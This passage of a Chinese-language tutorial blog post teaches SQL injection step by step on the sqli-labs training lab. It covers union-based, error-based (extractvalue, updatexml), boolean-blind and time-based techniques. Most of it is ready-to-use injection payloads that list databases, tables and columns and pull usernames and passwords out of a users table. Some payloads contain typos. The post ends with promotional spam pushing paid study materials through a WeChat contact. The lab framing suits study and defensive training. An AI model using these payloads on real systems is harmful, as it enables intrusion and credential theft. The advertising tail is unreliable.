tables //表名集合表
columns //列名集合表
table_schema //数据库名
table_name //表名
column_name //列名
3.sql注入基本思路
一、判断注入类型
id=1’报错为字符型 //找到它的闭合方式, ’ “ ') ")
id=1 and 1=2 或2-1 页面显示错误为数字型
注释:# --+ – - 注释掉后面没有用的语句只执行想要执行的sql语句
二、判断字段数/列名
order by 1 --+
三、判断数据显示点
?id=-1’ union select 1,2,3 --+ //可以把注入点改为负数或零达到注释前半段语句的效果
四、显示用户和数据库名
?id=-1 select 1,user(),databese() --+
五、查看所有表
union select 1,(select group_concat(table_name)form information_schema.tables where table_schema=‘数据库名’),3 --+
六、查看表里的所有列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘数据库’ and table_name=‘表名’),3 --+
七、查看字段值
union select 1,(select group_concat(user,pass) from users), 3 --+
4.sqli_labs靶场
一、数字型注入:
传入id=1进行查找注入点,发现页面回显正常
半段注入类型,?id=1-2发现页面无回显,因为表达式传入sql语句中进行了运算,结果为假所以没有回显,类型为数字型注入
使用order by进行判断字段数,4的时候报错说明字段数为3 使用–+来注释后面的语句
发现回显位为2和3,使用union连接sql语句 id=-1注释前面多余语句
查询数据库版本号和当前数据库名
查询security库下面有哪些表
查询users表中的字段
爆出username,password的值
二、报错注入
1.extractvalue
判断闭合方式为单引号
判断字段数到4报错,字段长度为3
使用extractvalue进行报错注入
?id=1’ union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
查看数据库下的所以表
?id=1’ and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’))) --+
查询users表下的所以字段名
?id=1’ and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’))) --+
查询users和paswd的值
?id=1’ and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,‘:’,password),1,30) from users))) --+
2.updatexml
这个跟上面那个差不多我这里就不演示了,直接放命令
查询数据库名
?id=1" and 1=updatexml(1,concat(‘~’,(select database())),3) --+
查询数据库下的所有表
?id=1" and 1=updatexml(1,concat(‘~’,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)
查询表下面的字段名
?id=1" and 1=updatexml(1,concat(‘~’,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=‘users’)),3) --+
查询字段值
?id=1" and 1=updatexml(1,concat(‘~’,(select substring(group_concat(username,‘~’,password),1,30)from users)),3) --+
三、布尔盲注
适用情况:页面没有显示位,没有报错信息,只有成功和不成功两种情况,web页面只返回True真,False假两种类型利用页面返回不同,逐个猜解数据
使用方法:
使用ascii()把查询到的内容转换成数字,以真假页面来判断字母对应的ascii码数字的正确
看到ascii等于115的时候页面返回为真,等于116的时候页面为假以此判断数据库的一个字符的ascii码值为115,然后对他进行解码就可以了
接下来的操作就是以此类推
查询数据库下的所有表 等于101的时候为真
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
四、时间盲注
时间盲注:就是通过页面回显的速度来判断真加
关键函数:sleep()
判断闭合符号,如果页面被立马执行了就说明为真,缓存三秒后就为假
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!**](https://bbs.csdn.net/forums/4304bb5a486d4c3ab8389e65ecb71ac0)
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算